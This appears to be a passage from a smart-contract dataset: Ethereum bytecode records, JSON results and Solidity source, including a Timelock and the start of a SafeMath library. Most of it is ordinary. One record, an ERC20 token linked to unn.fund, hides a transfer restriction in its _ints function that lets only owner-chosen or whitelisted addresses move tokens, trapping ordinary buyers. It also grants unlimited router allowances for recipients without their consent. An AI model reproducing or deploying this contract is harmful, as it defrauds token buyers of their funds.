63373ffffffffffffffffffffffffffffffffffffffff16146108f7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611b296038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610983578082015181840152602081019050610968565b50505050905090810190601f1680156109b05780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156109e95780820151818401526020810190506109ce565b50505050905090810190601f168015610a165780820380516001836020036101000a031916815260200191505b509750505050505050506040516020818303038152906040528051906020012090506003600082815260200190815260200160002060009054906101000a900460ff16610aae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611c7c603d913960400191505060405180910390fd5b82610ab7611a98565b1015610b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180611bcb6045913960600191505060405180910390fd5b610b246212750084611aa090919063ffffffff16565b610b2c611a98565b1115610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611b986033913960400191505060405180910390fd5b60006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055506060600086511415610bc357849050610c7e565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610c465780518252602082019150602081019050602083039250610c23565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610cce5780518252602082019150602081019050602083039250610cab565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610d30576040519150601f19603f3d011682016040523d82523d6000602084013e610d35565b606091505b509150915081610d90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611d5f603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e1d578082015181840152602081019050610e02565b50505050905090810190601f168015610e4a5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610e83578082015181840152602081019050610e68565b50505050905090810190601f168015610eb05780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38094505050505095945050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611cb96038913960400191505060405180910390fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c60405160405180910390a2565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461112c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180611d296036913960400191505060405180910390fd5b61114860025461113a611a98565b611aa090919063ffffffff16565b8210156111a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611d9c6049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561122c578082015181840152602081019050611211565b50505050905090810190601f1680156112595780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015611292578082015181840152602081019050611277565b50505050905090810190601f1680156112bf5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561139a57808201518184015260208101905061137f565b50505050905090810190601f1680156113c75780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156114005780820151818401526020810190506113e5565b50505050905090810190601f16801561142d5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38091505095945050505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114cf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611cf16038913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75660405160405180910390a250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461161d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526037815260200180611b616037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156116a957808201518184015260208101905061168e565b50505050905090810190601f1680156116d65780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561170f5780820151818401526020810190506116f4565b50505050905090810190601f16801561173c5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156118175780820151818401526020810190506117fc565b50505050905090810190601f1680156118445780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561187d578082015181840152602081019050611862565b50505050905090810190601f1680156118aa5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611962576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611de56031913960400191505060405180910390fd5b6202a3008110156119be576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611c106034913960400191505060405180910390fd5b62278d00811115611a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611c446038913960400191505060405180910390fd5b806002819055506002547f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c60405160405180910390a250565b60036020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b600080828401905083811015611b1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a723158207bfcdd7a9b45cd4c6d9a7427b7a95339cdd9cbb564621db0559c1838133dd85564736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 3,346 |
0xdab2d6365e850fc2b08f9cfdc99aa6aeec676595
|
//------------------------------------------
//https://unn.fund
//------------------------------------------
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _Erc20Token(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220eefadb33b7841cafab5a81198c431ae8539a4ee78d2ad890aaf69704ceff8b8e64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 3,347 |
0x211c82e4f7cbc544cea52c3514caddac55cd1a08
|
pragma solidity ^0.5.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
